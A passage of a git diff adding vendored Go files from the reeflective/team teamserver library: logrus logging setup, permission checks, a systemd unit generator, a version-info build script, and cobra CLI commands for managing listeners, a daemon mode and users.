text version, and another logger +// writing to stdout/stderr with enhanced formatting/coloring support. +func Init(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, *logrus.Logger, error) { + logFile, err := fs.OpenFile(file, FileWriteOpenMode, FileWritePerm) + if err != nil { + return nil, nil, fmt.Errorf("Failed to open log file %w", err) + } + + // Text-format logger, writing to file. + textLogger := logrus.New() + textLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + textLogger.Out = io.Discard + + textLogger.SetLevel(logrus.InfoLevel) + textLogger.SetReportCaller(true) + + // File output + textLogger.AddHook(newTxtHook(logFile, level, textLogger)) + + // Stdout/err output, with special formatting. + stdioHook := newStdioHook() + textLogger.AddHook(stdioHook) + + return textLogger, stdioHook.logger, nil +} + +// NewStdio returns a logger configured to output its events to the system stdio: +// - Info/Debug/Trace logs are written to os.Stdout. +// - Warn/Error/Fatal/Panic are written to os.Stderr. +func NewStdio(level logrus.Level) *logrus.Logger { + stdLogger := logrus.New() + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + stdLogger.SetLevel(level) + stdLogger.SetReportCaller(true) + stdLogger.Out = io.Discard + + // Info/debug/trace is given to a stdout logger. + stdoutHook := newLoggerStdout() + stdLogger.AddHook(stdoutHook) + + // Warn/error/panics/fatals are given to stderr. + stderrHook := newLoggerStderr() + stdLogger.AddHook(stderrHook) + + return stdLogger +} + +// NewJSON returns a logger writing to the central log file of the teamserver, JSON-encoded. +func NewJSON(fs *assets.FS, file string, level logrus.Level) (*logrus.Logger, error) { + rootLogger := logrus.New() + rootLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := fmt.Sprintf("%s.json", file) + + logFile, err := fs.OpenFile(jsonFilePath, FileWriteOpenMode, FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + rootLogger.Out = logFile + rootLogger.SetLevel(logrus.InfoLevel) + rootLogger.SetReportCaller(true) + rootLogger.AddHook(newTxtHook(logFile, level, rootLogger)) + + return rootLogger, nil +} + +// NewAudit returns a logger writing to an audit file in JSON format. +func NewAudit(fs *assets.FS, logDir string) (*logrus.Logger, error) { + auditLogger := logrus.New() + auditLogger.Formatter = &logrus.JSONFormatter{} + jsonFilePath := filepath.Join(logDir, "audit.json") + + logFile, err := fs.OpenFile(jsonFilePath, FileWriteOpenMode, FileWritePerm) + if err != nil { + return nil, fmt.Errorf("Failed to open log file %w", err) + } + + auditLogger.Out = logFile + auditLogger.SetLevel(logrus.DebugLevel) + + return auditLogger, nil +} + +// NewText returns a new logger writing to a given file. +// The formatting is enhanced for informative debugging and call +// stack reporting, but without any special coloring/formatting. +func NewText(file io.Writer) (*logrus.Logger, error) { + txtLogger := logrus.New() + txtLogger.Formatter = &logrus.TextFormatter{ + ForceColors: true, + FullTimestamp: true, + } + + txtLogger.Out = file + txtLogger.SetLevel(logrus.InfoLevel) + + return txtLogger, nil +} + +// LevelFrom - returns level from int. +func LevelFrom(level int) logrus.Level { + switch level { + case int(logrus.PanicLevel): + return logrus.PanicLevel + case int(logrus.FatalLevel): + return logrus.FatalLevel + case int(logrus.ErrorLevel): + return logrus.ErrorLevel + case int(logrus.WarnLevel): + return logrus.WarnLevel + case int(logrus.InfoLevel): + return logrus.InfoLevel + case int(logrus.DebugLevel): + return logrus.DebugLevel + case int(logrus.TraceLevel): + return logrus.TraceLevel + } + + return logrus.DebugLevel +} + +// FileName take a filename without extension and adds +// the corresponding teamserver/teamclient logfile extension. +func FileName(name string, server bool) string { + if server { + return fmt.Sprintf("%s.%s", name, ServerLogFileExt) + } + + return fmt.Sprintf("%s.%s", name, ClientLogFileExt) +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms.go b/vendor/github.com/reeflective/team/internal/log/perms.go new file mode 100644 index 0000000000..b56f909eb7 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms.go @@ -0,0 +1,60 @@ +//go:build !windows +// +build !windows + +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "syscall" +) + +// IsWritable checks that the given path can be created. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return + } + + err = nil + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + var stat syscall.Stat_t + if err = syscall.Stat(path, &stat); err != nil { + return false, fmt.Errorf("Unable to get stat") + } + + err = nil + if uint32(os.Geteuid()) != stat.Uid { + return isWritable, fmt.Errorf("User doesn't have permission to write to this directory") + } + + isWritable = true + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/perms_windows.go b/vendor/github.com/reeflective/team/internal/log/perms_windows.go new file mode 100644 index 0000000000..1ccb9bd5cf --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/perms_windows.go @@ -0,0 +1,46 @@ +package log + +/* + team - Embeded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" +) + +// IsWritable checks that the given path can be created, on Windows. +func IsWritable(path string) (isWritable bool, err error) { + isWritable = false + info, err := os.Stat(path) + if err != nil { + return false, err + } + + err = nil + if !info.IsDir() { + return false, fmt.Errorf("Path isn't a directory") + } + + // Check if the user bit is enabled in file permission + if info.Mode().Perm()&(1<<(uint(7))) == 0 { + return false, fmt.Errorf("Write permission bit is not set on this file for user") + } + + isWritable = true + return +} diff --git a/vendor/github.com/reeflective/team/internal/log/text.go b/vendor/github.com/reeflective/team/internal/log/text.go new file mode 100644 index 0000000000..e4a81ce801 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/text.go @@ -0,0 +1,97 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "io" + "path/filepath" + "strings" + + "github.com/sirupsen/logrus" +) + +// txtHook - Hook in a textual version of the logs. +type txtHook struct { + Name string + app string + logger *logrus.Logger +} + +// newTxtHook - returns a new txt hook. +func newTxtHook(fs io.Writer, level logrus.Level, log *logrus.Logger) *txtHook { + hook := &txtHook{} + + logger, err := NewText(fs) + if err != nil { + log.Error(err) + } + + hook.logger = logger + hook.logger.SetLevel(level) + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *txtHook) Fire(entry *logrus.Entry) error { + if hook.logger == nil { + return errors.New("no txt logger") + } + + // Determine the caller (filename/line number) + srcFile := "" + if entry.HasCaller() { + wiregostIndex := strings.Index(entry.Caller.File, hook.app) + srcFile = entry.Caller.File + if wiregostIndex != -1 { + srcFile = srcFile[wiregostIndex:] + } + } + + // Tream the useless prefix path, containing where it was compiled on the host... + paths := strings.Split(srcFile, "/mod/") + if len(paths) > 1 && paths[1] != "" { + srcFile = filepath.Join(paths[1:]...) + } + + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panicf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.FatalLevel: + hook.logger.Fatalf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.ErrorLevel: + hook.logger.Errorf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.WarnLevel: + hook.logger.Warnf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.InfoLevel: + hook.logger.Infof(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.DebugLevel: + hook.logger.Debugf(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + case logrus.TraceLevel: + hook.logger.Tracef(" [%s:%d] %s", srcFile, entry.Caller.Line, entry.Message) + } + + return nil +} + +// Levels - Hook all levels. +func (hook *txtHook) Levels() []logrus.Level { + return logrus.AllLevels +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/config.go b/vendor/github.com/reeflective/team/internal/systemd/config.go new file mode 100644 index 0000000000..705acf0da1 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/config.go @@ -0,0 +1,110 @@ +package systemd + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "bytes" + _ "embed" + "fmt" + "log" + "os" + "os/user" + "strings" + "text/template" + + "github.com/reeflective/team/internal/version" +) + +// Config is a stub to generate systemd configuration files. +type Config struct { + User string // User to configure systemd for, default is current user. + Binpath string // Path to binary + Args []string // The command is the position of the daemon command in the application command tree. +} + +//go:embed teamserver.service +var systemdServiceTemplate string + +func NewFrom(name string, userCfg *Config) string { + cfg := NewDefaultConfig() + + if userCfg != nil { + cfg.User = userCfg.User + cfg.Binpath = userCfg.Binpath + cfg.Args = userCfg.Args + } + + // Prepare all values before running templates + ver := version.Semantic() + version := fmt.Sprintf("%d.%d.%d", ver[0], ver[1], ver[2]) + desc := fmt.Sprintf("%s Teamserver daemon (v%s)", name, version) + + systemdUser := cfg.User + if systemdUser == "" { + systemdUser = "root" + } + + // Command + command := strings.Join(cfg.Args, " ") + + TemplateValues := struct { + Application string + Description string + User string + Command string + }{ + Application: name, + Description: desc, + User: systemdUser, + Command: command, + } + + var config bytes.Buffer + + templ := template.New(name) + parsed, err := templ.Parse(systemdServiceTemplate) + if err != nil { + log.Fatalf("Failed to parse: %s", err) + } + + parsed.Execute(&config, TemplateValues) + + systemdFile := config.String() + + return systemdFile +} + +// NewDefaultConfig returns a default Systemd service file configuration. +func NewDefaultConfig() *Config { + c := &Config{} + + user, _ := user.Current() + if user != nil { + c.User = user.Username + } + + currentPath, err := os.Executable() + if err != nil { + return c + } + + c.Binpath = currentPath + + return c +} diff --git a/vendor/github.com/reeflective/team/internal/systemd/teamserver.service b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service new file mode 100644 index 0000000000..eecc056312 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/systemd/teamserver.service @@ -0,0 +1,17 @@ +## [ {{.Application}} Systemd Service ] + +[Unit] +Description={{.Description}} +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +Restart=on-failure +RestartSec=3 +User={{.User}} +ExecStart={{.Command}} + +[Install] +WantedBy=multi-user.target + diff --git a/vendor/github.com/reeflective/team/internal/version/.gitignore b/vendor/github.com/reeflective/team/internal/version/.gitignore new file mode 100644 index 0000000000..1d65b47378 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/version/.gitignore @@ -0,0 +1 @@ +*.compiled diff --git a/vendor/github.com/reeflective/team/internal/version/teamserver_version_info b/vendor/github.com/reeflective/team/internal/version/teamserver_version_info new file mode 100644 index 0000000000..25a898d32b --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/version/teamserver_version_info @@ -0,0 +1,14 @@ +#!/usr/bin/env bash + +outfile="_version.compiled" + +git describe --abbrev=0 --always > "client${outfile}" +go version > "go${outfile}" +git rev-parse HEAD > "commit${outfile}" + +# Dirty (ensure file exists for github actions) +touch "dirty${outfile}" +git diff --quiet || echo 'Dirty' > "dirty${outfile}" + +# Compilation time +date +%s > "compiled${outfile}" diff --git a/vendor/github.com/reeflective/team/internal/version/version.go b/vendor/github.com/reeflective/team/internal/version/version.go new file mode 100644 index 0000000000..67a700668c --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/version/version.go @@ -0,0 +1,96 @@ +package version + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + _ "embed" + "fmt" + "strconv" + "strings" + "time" +) + +//go:generate bash teamserver_version_info +var ( + // Version - The semantic version in string form + //go:embed client_version.compiled + Version string + + // GoVersion - Go compiler version + //go:embed go_version.compiled + GoVersion string + + // GitCommit - The commit id at compile time + //go:embed commit_version.compiled + GitCommit string + + // GitDirty - Was the commit dirty at compile time + //go:embed dirty_version.compiled + GitDirty string + + // CompiledAt - When was this binary compiled + //go:embed compiled_version.compiled + CompiledAt string +) + +const ( + semVerLen = 3 +) + +// Semantic - Get the structured semantic +// version of the application binary. +func Semantic() []int { + semVer := make([]int, semVerLen) + version := strings.TrimSuffix(Version, "\n") + version = strings.TrimPrefix(version, "v") + + for i, part := range strings.Split(version, ".") { + number, _ := strconv.ParseInt(part, 10, 32) + semVer[i] = int(number) + } + + return semVer +} + +// Compiled - Get time this binary was compiled. +func Compiled() (time.Time, error) { + compiledAt := strings.TrimSuffix(CompiledAt, "\n") + + compiled, err := strconv.ParseInt(compiledAt, 10, 64) + if err != nil { + return time.Unix(0, 0), err + } + + return time.Unix(compiled, 0), nil +} + +// Full - Full version string. +func Full() string { + ver := strings.TrimSuffix(Version, "\n") + if GitCommit != "" { + ver += fmt.Sprintf(" - %s", GitCommit) + } + + compiled, err := Compiled() + if err == nil { + ver += fmt.Sprintf(" - Compiled %s", compiled.String()) + } + + return ver +} diff --git a/vendor/github.com/reeflective/team/server/commands/commands.go b/vendor/github.com/reeflective/team/server/commands/commands.go new file mode 100644 index 0000000000..f8ea077d17 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/commands.go @@ -0,0 +1,260 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/reeflective/team/client" + cli "github.com/reeflective/team/client/commands" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/server" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" +) + +// Generate returns a "teamserver" command root and its tree for teamserver (server-side) management. +// It requires a teamclient so as to bind its "teamclient" tree as a subcommand of the server root. +// This is so that all CLI applications which can be a teamserver can also be a client of their own. +// +// ** Commands do: +// - Ensure they are connected to a server instance (in memory). +// - Work even if the teamserver/client returns errors: those are returned &| printed &| logged. +// - Use the cobra utilities OutOrStdout(), ErrOrStdErr(), ... for all and every command output. +// - Have attached completions for users/listeners/config files of all sorts, and other things. +// - Have the ability to be ran in closed-loop console applications ("single runtime shell"). +// +// ** Commands do NOT: +// - Call os.Exit() anywhere, thus will not exit the program embedding them. +// - Ignite/start the teamserver core/filesystem/backends before they absolutely need to. +// Consequently, do not touch the filesystem until they absolutely need to. +// - Connect the client more than once to the teamserver. +// - Start persistent listeners, excluding the daemon command. +func Generate(teamserver *server.Server, teamclient *client.Client) *cobra.Command { + // Server-only commands always need to have open log + // files, most of the time access to the database, etc. + // On top, they need a listener in memory. + servCmds := serverCommands(teamserver, teamclient) + + for _, cmd := range servCmds.Commands() { + cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { + return teamserver.Serve(teamclient) + } + } + + // We bind the same runners to the client-side commands. + cliCmds := cli.Generate(teamclient) + cliCmds.Use = "client" + cliCmds.GroupID = command.TeamServerGroup + + for _, cmd := range cliCmds.Commands() { + cmd.PersistentPreRunE = func(cmd *cobra.Command, args []string) error { + return teamserver.Serve(teamclient) + } + } + + servCmds.AddCommand(cliCmds) + + return servCmds +} + +func serverCommands(server *server.Server, client *client.Client) *cobra.Command { + teamCmd := &cobra.Command{ + Use: "teamserver", + Short: "Manage the application server-side teamserver and users", + SilenceUsage: true, + } + + // Groups + teamCmd.AddGroup( + &cobra.Group{ID: command.TeamServerGroup, Title: command.TeamServerGroup}, + &cobra.Group{ID: command.UserManagementGroup, Title: command.UserManagementGroup}, + ) + + teamFlags := pflag.NewFlagSet("teamserver", pflag.ContinueOnError) + teamFlags.CountP("verbosity", "v", "Counter flag (-vvv) to increase log verbosity on stdout (1:info-> 3:trace)") + teamCmd.PersistentFlags().AddFlagSet(teamFlags) + + // [ Listeners and servers control commands ] ------------------------------------------ + + // Start a listener + listenCmd := &cobra.Command{ + Use: "listen", + Short: "Start a teamserver listener (non-blocking)", + GroupID: command.TeamServerGroup, + RunE: startListenerCmd(server), + } + + lnFlags := pflag.NewFlagSet("listener", pflag.ContinueOnError) + lnFlags.StringP("host", "H", "", "interface to bind server to") + lnFlags.StringP("listener", "l", "", "listener stack to use instead of default (completed)") + lnFlags.Uint16P("port", "P", 31337, "tcp listen port") + lnFlags.BoolP("persistent", "p", false, "make listener persistent across restarts") + listenCmd.Flags().AddFlagSet(lnFlags) + + listenComps := make(carapace.ActionMap) + listenComps["host"] = interfacesCompleter() + listenComps["listener"] = carapace.ActionCallback(listenerTypeCompleter(client, server)) + carapace.Gen(listenCmd).FlagCompletion(listenComps) + + teamCmd.AddCommand(listenCmd) + + // Close a listener + closeCmd := &cobra.Command{ + Use: "close", + Short: "Close a listener and remove it from persistent ones if it's one", + Args: cobra.MinimumNArgs(1), + GroupID: command.TeamServerGroup, + Run: closeCmd(server), + } + + closeComps := carapace.Gen(closeCmd) + closeComps.PositionalAnyCompletion(carapace.ActionCallback(listenerIDCompleter(client, server))) + + closeComps.PreRun(func(cmd *cobra.Command, args []string) { + cmd.PersistentPreRunE(cmd, args) + }) + + teamCmd.AddCommand(closeCmd) + + // Daemon (blocking listener and persistent jobs) + daemonCmd := &cobra.Command{ + Use: "daemon", + Short: "Start the teamserver in daemon mode (blocking)", + GroupID: command.TeamServerGroup, + RunE: daemoncmd(server), + } + daemonCmd.Flags().StringP("host", "l", "-", "multiplayer listener host") + daemonCmd.Flags().Uint16P("port", "p", uint16(0), "multiplayer listener port") + + daemonComps := make(carapace.ActionMap) + daemonComps["host"] = interfacesCompleter() + carapace.Gen(daemonCmd).FlagCompletion(daemonComps) + + teamCmd.AddCommand(daemonCmd) + + // Systemd configuration output + systemdCmd := &cobra.Command{ + Use: "systemd", + Short: "Print a systemd unit file for the application teamserver, with options", + GroupID: command.TeamServerGroup, + RunE: systemdConfigCmd(server), + } + + sFlags := pflag.NewFlagSet("systemd", pflag.ContinueOnError) + sFlags.StringP("binpath", "b", "", "Specify the path of the teamserver application binary") + sFlags.StringP("user", "u", "", "Specify the user for the systemd file to run with") + sFlags.StringP("save", "s", "", "Directory/file in which to save config, instead of stdout") + sFlags.StringP("host", "l", "", "Listen host to use in the systemd command line") + sFlags.Uint16P("port", "p", 0, "Listen port in the systemd command line") + systemdCmd.Flags().AddFlagSet(sFlags) + + sComps := make(carapace.ActionMap) + sComps["save"] = carapace.ActionFiles() + sComps["binpath"] = carapace.ActionFiles() + sComps["host"] = interfacesCompleter() + carapace.Gen(systemdCmd).FlagCompletion(sComps) + + teamCmd.AddCommand(systemdCmd) + + statusCmd := &cobra.Command{ + Use: "status", + Short: "Show the status of the teamserver (listeners, configurations, health...)", + GroupID: command.TeamServerGroup, + Run: statusCmd(server), + } + + teamCmd.AddCommand(statusCmd) + + // [ Users and data control commands ] ------------------------------------------------- + + // Add user + userCmd := &cobra.Command{ + Use: "user", + Short: "Create a user for this teamserver and generate its client configuration file", + GroupID: command.UserManagementGroup, + Run: createUserCmd(server, client), + } + + teamCmd.AddCommand(userCmd) + + userFlags := pflag.NewFlagSet("user", pflag.ContinueOnError) + userFlags.StringP("host", "l", "", "listen host") + userFlags.Uint16P("port", "p", 0, "listen port") + userFlags.StringP("save", "s", "", "directory/file in which to save config") + userFlags.StringP("name", "n", "", "user name") + userFlags.BoolP("system", "U", false, "Use the current OS user, and save its configuration directly in client dir") + userCmd.Flags().AddFlagSet(userFlags) + + userComps := make(carapace.ActionMap) + userComps["save"] = carapace.ActionDirectories() + userComps["host"] = interfacesCompleter() + carapace.Gen(userCmd).FlagCompletion(userComps) + + // Delete and kick user + rmUserCmd := &cobra.Command{ + Use: "delete", + Short: "Remove a user from the teamserver, and revoke all its current tokens", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: rmUserCmd(server), + } + + teamCmd.AddCommand(rmUserCmd) + + rmUserComps := carapace.Gen(rmUserCmd) + + rmUserComps.PositionalCompletion(carapace.ActionCallback(userCompleter(client, server))) + + rmUserComps.PreRun(func(cmd *cobra.Command, args []string) { + cmd.PersistentPreRunE(cmd, args) + }) + + // Import a list of users and their credentials. + cmdImportCA := &cobra.Command{ + Use: "import", + Short: "Import a certificate Authority file containing teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.ExactArgs(1), + Run: importCACmd(server), + } + + iComps := carapace.Gen(cmdImportCA) + iComps.PositionalCompletion( + carapace.Batch( + carapace.ActionCallback(cli.ConfigsCompleter(client, "teamserver/certs", ".teamserver.pem", "other teamservers user CAs", true)), + carapace.ActionFiles().Tag("teamserver user CAs"), + ).ToA(), + ) + + teamCmd.AddCommand(cmdImportCA) + + // Export the list of users and their credentials. + cmdExportCA := &cobra.Command{ + Use: "export", + Short: "Export a Certificate Authority file containing the teamserver users", + GroupID: command.UserManagementGroup, + Args: cobra.RangeArgs(0, 1), + Run: exportCACmd(server), + } + + carapace.Gen(cmdExportCA).PositionalCompletion(carapace.ActionFiles()) + teamCmd.AddCommand(cmdExportCA) + + return teamCmd +} diff --git a/vendor/github.com/reeflective/team/server/commands/completers.go b/vendor/github.com/reeflective/team/server/commands/completers.go new file mode 100644 index 0000000000..40c2d12af3 --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/completers.go @@ -0,0 +1,140 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "net" + "strings" + + "github.com/reeflective/team/client" + "github.com/reeflective/team/server" + "github.com/rsteube/carapace" +) + +// interfacesCompleter completes interface addresses on the client host. +func interfacesCompleter() carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + ifaces, err := net.Interfaces() + if err != nil { + return carapace.ActionMessage("failed to get net interfaces: %s", err.Error()) + } + + results := make([]string, 0) + + for _, i := range ifaces { + addrs, err := i.Addrs() + if err != nil { + continue + } + + for _, a := range addrs { + switch ipType := a.(type) { + case *net.IPAddr: + results = append(results, ipType.IP.String()) + case *net.IPNet: + results = append(results, ipType.IP.String()) + default: + results = append(results, ipType.String()) + } + } + } + + return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') + }) +} + +// userCompleter completes usernames of the application teamserver. +func userCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + users, err := client.Users() + if err != nil { + return carapace.ActionMessage("Failed to get users: %s", err) + } + + results := make([]string, len(users)) + for i, user := range users { + results[i] = strings.TrimSpace(user.Name) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("%s teamserver has no users", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver users", server.Name())) + } +} + +// listenerIDCompleter completes ID for running teamserver listeners. +func listenerIDCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Listeners() + cfg := server.GetConfig() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(formatSmallID(ln.ID))) + results = append(results, fmt.Sprintf("[%s] (%s)", ln.Description, "Up")) + } + + var persistents []string + next: + for _, saved := range cfg.Listeners { + + for _, ln := range listeners { + if saved.ID == ln.ID { + continue next + } + } + + persistents = append(persistents, strings.TrimSpace(formatSmallID(saved.ID))) + + host := fmt.Sprintf("%s:%d", saved.Host, saved.Port) + persistents = append(persistents, fmt.Sprintf("[%s] (%s)", host, "Up")) + } + + if len(results) == 0 && len(persistents) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no listeners running/saved for %s teamserver", server.Name())) + } + + // return carapace. + return carapace.Batch( + carapace.ActionValuesDescribed(results...).Tag("active teamserver listeners"), + carapace.ActionValuesDescribed(persistents...).Tag("saved teamserver listeners"), + ).ToA() + } +} + +// listenerTypeCompleter completes the different types of teamserver listener/handler stacks available. +func listenerTypeCompleter(client *client.Client, server *server.Server) carapace.CompletionCallback { + return func(c carapace.Context) carapace.Action { + listeners := server.Handlers() + + var results []string + for _, ln := range listeners { + results = append(results, strings.TrimSpace(ln.Name())) + } + + if len(results) == 0 { + return carapace.ActionMessage(fmt.Sprintf("no additional listener types for %s teamserver", server.Name())) + } + + return carapace.ActionValues(results...).Tag(fmt.Sprintf("%s teamserver listener types", server.Name())) + } +} diff --git a/vendor/github.com/reeflective/team/server/commands/teamserver.go b/vendor/github.com/reeflective/team/server/commands/teamserver.go new file mode 100644 index 0000000000..f5fe3f288e --- /dev/null +++ b/vendor/github.com/reeflective/team/server/commands/teamserver.go @@ -0,0 +1,372 @@ +package commands + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io/fs" + "os" + "path/filepath" + "runtime/debug" + "strconv" + "strings" + + "github.com/jedib0t/go-pretty/v6/table" + "github.com/reeflective/team/internal/command" + "github.com/reeflective/team/internal/log" + "github.com/reeflective/team/internal/systemd" + "github.com/reeflective/team/server" + "github.com/sirupsen/logrus" + "github.com/spf13/cobra" +) + +func daemoncmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, err := cmd.Flags().GetString("host") + if err != nil { + return fmt.Errorf("Failed to get --host flag: %w", err) + } + + lport, err := cmd.Flags().GetUint16("port") + if err != nil { + return fmt.Errorf("Failed to get --port (%d) flag: %w", lport, err) + } + + // Also written to logs in the teamserver code. + defer func() { + if r := recover(); r != nil { + fmt.Fprintf(cmd.OutOrStdout(), "stacktrace from panic: \n"+string(debug.Stack())) + } + }() + + // Blocking call, your program will only exit/resume on Ctrl-C/SIGTERM + return serv.ServeDaemon(lhost, lport) + } +} + +func startListenerCmd(serv *server.Server) func(cmd *cobra.Command, args []string) error { + return func(cmd *cobra.Command, _ []string) error { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + lhost, _ := cmd.Flags().GetString("host") + lport, _ := cmd.Flags().GetUint16("port") + persistent, _ := cmd.Flags().GetBool("persistent") + ltype, _ := cmd.Flags().GetString("listener") + + _, err := serv.ServeAddr(ltype, lhost, lport) + if err == nil { + fmt.Fprintf(cmd.OutOrStdout(), command.Info+"Teamserver listener started on %s:%d\n", lhost, lport) + + if persistent { + serv.ListenerAdd(ltype, lhost, lport) + } + } else { + return fmt.Errorf(command.Warn+"Failed to start job %w", err) + } + + return nil + } +} + +func closeCmd(serv *server.Server) func(cmd *cobra.Command, args []string) { + return func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("verbosity") { + logLevel, err := cmd.Flags().GetCount("verbosity") + if err == nil { + serv.SetLogLevel(logLevel + int(logrus.WarnLevel)) + } + } + + listeners 